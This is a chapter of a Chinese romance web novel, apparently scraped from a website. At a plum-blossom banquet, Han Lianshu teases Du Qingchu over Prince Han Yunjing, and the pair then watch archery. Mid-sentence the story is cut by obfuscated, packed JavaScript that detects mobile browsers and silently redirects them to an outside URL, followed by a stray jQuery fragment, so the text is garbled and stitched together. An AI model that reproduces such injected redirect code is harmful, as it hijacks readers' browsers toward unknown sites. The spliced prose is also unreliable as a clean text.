那婢女的娇羞没被韩怜姝瞧见。
实际上,她连自己身上发生了什么变化都一概不知,独留韩云暻一人遭受百般折磨。
上菜的婢女们端了膳食上桌,韩怜姝盯着色香味俱全的菜,伸手夹了口樱桃肉,韩怜姝吃迷了眼,胃口大开。
胡流云所说的确不错,李府的厨子手艺很好。
她迫不及待想再吃几口,却意外被点了名。
杜青初挑眉看向韩怜姝,暗藏着轻蔑的笑:“殿下英明神武,想来家中亲眷也是才艺不凡,不知表妹是会写一手好字,还是会弹琴跳舞呢?”
韩怜姝迷茫地抬起头,看着杜青初。
她不知所以,但看着杜青初身后的一众女子都捂着帕子笑,笑容并不友好。
她能察觉到这些人都不喜欢她,后知后觉她们是在说她坏话呢。
韩怜姝拿起帕子擦擦嘴,又慢条斯理地理了理衣领,拍了拍袖子。
在几人还在警惕地以为她要发表什么长篇大论后,她十分平淡地回了一个字:
“哦。”
哦。哦什么?
杜青初怀疑自己听错了,但看左右姐妹的反应,显然也很震惊。
她没听错。
这妮子在敷衍她。
杜青初冷下脸:“你别以为和殿下住的近日日相见便能顺理成章在一起了,若论家世背景我可比你好太多,你个不知道哪里来的冒牌货,趁早哪里来的回哪里去!”
她声音不高,绝不会叫对面韩云暻听见的。
“殿下?韩云暻?”韩怜姝直到这个时候才恍然大悟,“所以你讨厌我,是觉得我抢了你的韩云暻?”
你的韩云暻。
这五个字叫杜青初骤然红了脸颊,她嗔怒地瞪了眼韩怜姝:“八字还没一撇,你不许胡言。”
韩怜姝耸耸肩:“你若能找到比韩云暻还好看的食……男人,我不介意把韩云暻送给你。”
“你非要挑衅我直说,何必拐弯抹角!这天底下哪里还有比殿下更好看的!”
“有啊。”韩怜姝手指着自己,“我,我不比韩云暻好看吗?”
围观的姑娘们:“……”
韩怜姝眨眨眼,看着她们。
她很无辜,她说的都是实话啊。
她承认韩云暻好看,但她自己明明更好看的吧!
姑娘们偷偷看向韩云暻,又看了眼韩怜姝,觉得这话倒无法反驳。
尤其是她那双勾人心魄的眼睛,险些叫她们挪不开眼睛了。
而杜青初坚守信念,叉着腰反驳:“不许转移话题,我说的是殿下,你扯到你自己作甚。”
韩怜姝叹气:“你要抢韩云暻,跟我来说什么,你自己跟他去说呀。”
“如果他不要我了,那我肯定也不会久留,赶明儿天一亮就走,绝不多留。”
天下之大,还愁没个漂亮男人吃吗?
“谁要走?”
一道男声插入其中,窃窃私语的讨论声也想被掐了脖子般顿住,寂静无声。
她们转过头去,却看见韩云暻正神色不耐地站在人群后面。
韩怜姝神色如常,抬起手挥了挥:“是我呀!”
众人:“……”
杜青初:“……”
她神色慌乱一瞬,转身给韩云暻行礼的时候又恢复了以往娇羞的模样:“参见殿下,我与怜姝妹妹说笑呢。”
她不敢看韩云暻,生怕在他脸上看见厌弃。
韩怜姝煞有介事地点点头:“是呀,杜姐姐说要给我找比你更漂亮的男人给我。”
“找到了然后呢?”
“还有什么然后。”韩怜姝不明所以地挠了挠头,“当然是你归杜姐姐,漂亮男人归我呀。”
韩云暻冰冷的目光刺向杜青初,而杜青初脸上的笑都僵住了。
她心里把韩怜姝痛骂了个遍。
什么话不能私底下说,非得摊开了讲,让所有人都听见是吧!
她认定了韩怜姝就是故意的,此刻也拿她没办法,只能讪笑着:“我们开着玩笑呢,哪有谁归谁的……怜姝妹妹理解错了而已。”
韩怜姝若有所思地点点头们:“看来你不要韩云暻。”
杜青初:“……”
她险些要维持不住假面,但想着面前站着的韩云暻,到底是把怨恨咽了下去。
给她等着!
韩云暻左右一个眼神,呵退了挡在身前的人,杜青初也只能心不甘情不愿地让开位子,任由韩云暻走近韩怜姝。
他在案前站定,看着空空如也的盘子,眉心跳了跳。
这妮子不会把酒也喝完了吧。
韩云暻状似无意地拎起酒壶掂量两下,重量让他一时沉默。
喝那么快。
“吃完了,就起身走走,消消食去。”韩云暻朝她伸出手,“那边在投壶射箭,一起去看看。”
韩怜姝暗自嘀咕,说自己其实都没吃饱。
但看着挤在桌边的一堆人,自己想留下来吃估计还得被围观,一点都不自在。
算了。
她叹口气,手搭上韩云暻的手:“走吧!”
杜青初看着他们并肩同行的背影,恨得牙痒痒,手中帕子都要被绞断了,身边其他的姑娘们都自讨没趣地四散而去。
李钰莹不知何时出现在她身边,无奈地搭上她的手臂:“好了青初,你如今也看得清楚,宣王对这个表妹的确好,如何还能容得下旁人。你又不愿做妾,你们注定是……”
“你多看看旁人,没了宣王,还有鲁王裕王啊。”
杜青初面露嫌弃:“一个傻大个,一个酒鬼,这俩人有哪个好。比起这俩人,我倒还宁愿去做今上的嫔妃呢。”
李钰莹纠结片刻,还是点点头:“也行,你争取做个贵妃,日后封了太妃,我还能进宫去找你说话,你就是我……”
“我庶出婆母。”
杜青初:“……滚。”
韩怜姝并不知道身后两人在说什么,只是面对韩云暻那看穿一切的眼睛,吐了吐舌头:“好啦,我错了,再也不说你归别人的话了。”
韩云暻哼一声:“哪敢跟您计较呢,您可是要找漂亮男人的呢。”
韩怜姝心虚。
主要是白菊说过,能在赏梅宴上出现的男子已经是赏梅宴顶顶优秀的了。
李钰衡的帖子都送到了寒门子弟的手里,并不介意他们来“攀高枝”。
若真能攀上,那是他们的本事。
寒门子弟又带上自家妹妹,于是今年的赏梅宴空前盛大。
只是……方才韩怜姝看了又看,看了又看。
这群男人怎么没有一个比韩云暻好看的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045794|193174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
无论是气势还是相貌,竟无一人比得过韩云暻的,实在叫她失望至极。
别说,韩云暻现在暗戳戳生气的模样,竟也别有一番风味。
韩怜姝戳了戳他的脸颊,笑嘻嘻地哄着他:“好云暻,别生气啦!”
“哪里有什么其他的漂亮男人呢?你是最漂亮的啦!”
韩云暻十分好哄,她声音一软下来,韩云暻的心也跟着软了。
只是他总不能这样好得手。于是韩云暻脸上依旧是冷硬的神色,拉着韩怜姝往人群边去。
左投壶右射箭。男儿们一个个抢先展现着自己,期待着能被哪家姑娘看上,手帕一丢,一个对视,两人就并肩往亭边走去,聊聊风花雪月,聊聊未来人生。
锦州的民风是全国最开放的了。
韩怜姝左右看了看,目光在某处定格,瞬间瞪大了眼睛。
她小声凑近韩云暻:“你看她的体格,好健硕!”
韩云暻顺着她的目光看去——
那是大将军的长女,皮肤黝黑,身量比男人还高,眼中带着狠辣,将手中不知多重的弓箭拉开,一松手,那箭瞬间扎在靶心上。
韩怜姝满眼艳羡,惊叹地看着那人。
韩云暻给她解答:“她是夏凛,夏老将军的女儿,你若想和她认识,我也可替你引荐。不过她性格沉闷了些,你兴许会得了她的冷脸。”
“将军是什么?”
怎么问起这个问题来了……韩云暻思考片刻,回答道:“出兵打仗,拯救家国的首领就叫将军。”
“听起来很厉害。”韩怜姝若有所思地盯着他的脸看,“是将军厉害还是你厉害?”
“将军。”韩云暻说,“将军手中握着兵权,我就是个空头衔。”
他那虎符早交出去了,否则还轮不到他来锦州,早被困死在京城里了。
不过他也不在意,有没有实权的,都跟他现在的生活没什么关系了。
至少他很享受如今的日子。
不料身边的韩怜姝口出惊人,十分豪横地说了一句:“那我也要当将军!”
声音不大不小,惹得两人身边路过的姑娘神色古怪地回过头。
韩云暻:“……劝你不要这么想,你知道做将军有多辛苦吗?”
“多辛苦?”韩怜姝皱皱眉,“不可以吃大餐了吗?”
“不止。”
“不光不能吃大餐,有时候粮食没发下来,你还得啃树皮草根,每日寅卯就要爬起来练功练武。行军打仗时也不一定有时间沐浴更衣,一件脏衣服不知穿几个月,还容易受伤、摔下马……”
一想到曾经辛苦的日子,就难免一把辛酸泪。
韩云暻觉得自己身上受的伤又开始隐隐作痛了。
而韩怜姝听完,打了个寒颤,立马歇了心思。
她连连摇头,说道:“不不不,我不要。”
太可怕了,竟然没得吃饭!
她一时间对将军这个人心生敬佩,连带着看夏凛的目光也变得十分佩服。
她是将军的女儿,那她应该也和将军一样。
这也太厉害了!
夏凛敏锐地察觉到少女的目光,锐利的视线瞬间扫来,只看见被吓了一跳的少女,立即就往韩云暻身后躲去。
韩怜姝:“……她怎么看我来了!!”